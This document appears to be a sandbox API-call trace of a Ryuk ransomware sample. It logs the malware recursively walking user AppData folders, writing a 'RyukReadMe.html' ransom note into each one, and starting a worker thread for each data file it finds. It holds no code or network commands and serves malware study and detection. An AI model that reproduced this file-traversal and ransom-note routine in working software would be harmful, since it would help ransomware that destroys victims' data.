	[0235.180] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0235.180] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.180] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0235.181] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0235.181] SetLastError (dwErrCode=0x0) 
	[0235.181] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\publisher\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0235.183] GetLastError () returned 0x0
	[0235.183] WriteFile (in: hFile=0x724, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0235.187] CloseHandle (hObject=0x724) returned 1
	[0235.188] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c988f10, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c988f10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c9af070, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0235.188] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1
	[0235.188] SetLastError (dwErrCode=0x0) 
	[0235.188] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0235.188] GetLastError () returned 0xb7
	[0235.188] CloseHandle (hObject=0x724) returned 1
	[0235.189] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0235.191] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.191] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0235.191] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0235.191] SetLastError (dwErrCode=0x0) 
	[0235.191] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\taskschedulerconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0235.193] GetLastError () returned 0x0
	[0235.193] WriteFile (in: hFile=0x724, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0235.197] CloseHandle (hObject=0x724) returned 1
	[0235.198] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1
	[0235.198] SetLastError (dwErrCode=0x0) 
	[0235.198] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0235.199] GetLastError () returned 0xb7
	[0235.199] CloseHandle (hObject=0x724) returned 1
	[0235.199] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0235.200] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.200] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5efe55e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18ce0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="content14.dat", cAlternateFileName="CONTEN~1.DAT")) returned 1
	[0235.200] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0235.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740
	[0235.520] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.521] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x4db89570, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1f522, dwReserved0=0x1de, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 1
	[0235.522] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0235.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730
	[0235.524] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.525] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x4db89570, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1f522, dwReserved0=0x1de, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 0
	[0235.525] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0235.525] SetLastError (dwErrCode=0x0) 
	[0235.525] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0235.527] GetLastError () returned 0x0
	[0235.527] WriteFile (in: hFile=0x724, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0235.531] CloseHandle (hObject=0x724) returned 1
	[0235.532] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0235.532] SetLastError (dwErrCode=0x0) 
	[0235.532] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0235.533] GetLastError () returned 0xb7
	[0235.533] CloseHandle (hObject=0x724) returned 1
	[0235.533] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0235.534] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.534] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="1024", cAlternateFileName="")) returned 1
	[0235.534] SetLastError (dwErrCode=0x0) 
	[0235.534] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.539] GetLastError () returned 0x0
	[0235.539] WriteFile (in: hFile=0x72c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0235.542] CloseHandle (hObject=0x72c) returned 1
	[0235.543] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0235.544] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.544] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0235.544] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.545] SetLastError (dwErrCode=0x0) 
	[0235.545] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1024\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.547] GetLastError () returned 0x0
	[0235.547] WriteFile (in: hFile=0x72c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0235.550] CloseHandle (hObject=0x72c) returned 1
	[0235.551] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0235.551] SetLastError (dwErrCode=0x0) 
	[0235.552] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.552] GetLastError () returned 0xb7
	[0235.552] CloseHandle (hObject=0x72c) returned 1
	[0235.552] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0235.553] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.553] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 1
	[0235.553] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 0
	[0235.553] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.553] SetLastError (dwErrCode=0x0) 
	[0235.554] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.555] GetLastError () returned 0x0
	[0235.555] WriteFile (in: hFile=0x72c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0235.559] CloseHandle (hObject=0x72c) returned 1
	[0235.561] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0235.561] SetLastError (dwErrCode=0x0) 
